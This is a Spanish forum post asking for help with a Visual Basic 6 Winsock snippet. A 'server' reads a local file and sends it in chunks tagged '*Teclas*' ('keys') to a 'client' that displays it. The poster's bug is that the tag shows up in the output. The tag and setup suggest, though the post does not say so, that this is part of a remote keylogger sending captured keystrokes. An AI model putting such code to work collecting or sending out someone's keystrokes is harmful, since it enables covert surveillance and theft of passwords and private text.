gracias por tu respuesta blackzero, no entendi muy bien el tip que me pusiste, modificando un poco el codigo que tenia, logre realizar que se envien bien los datos, pero nose porque motivo el identificador que envio figura en el richtextbox. El codigo en el
cliente quedo asi:
dim Identificador as string
dim Datos as string
Winsock1.GetData Datos
Identificador = Left(Datos, 8)
[b]Datos = Right(Datos, Len(Datos) - 8)[/b] 'Le borro a "Datos" los primeros 8 digitos que corresponden al indentificador
If Identificador = "*Teclas*" Then
Archivo = Archivo & Datos
RichTextBox1.Text = Archivo
End If
y el del
servidor quedo asi:
Dim buf As String * 1024
Open App.path & "\Archivo.txt" For Binary As #3
Do While EOF(3) = False
DoEvents
Get #3, , buf
Winsock1.SendData "*Teclas*" & buf
Loop
Close #3
El identificador es "*Teclas*", y supuestamente no tendria que escribirse en el richtextbox ya que al principio del code borra los primeros digitos que corresponden al identificador.
espero que me puedan ayudar
muchas gracias por su tiempo, BlackZero gracias por los codes que me has pasado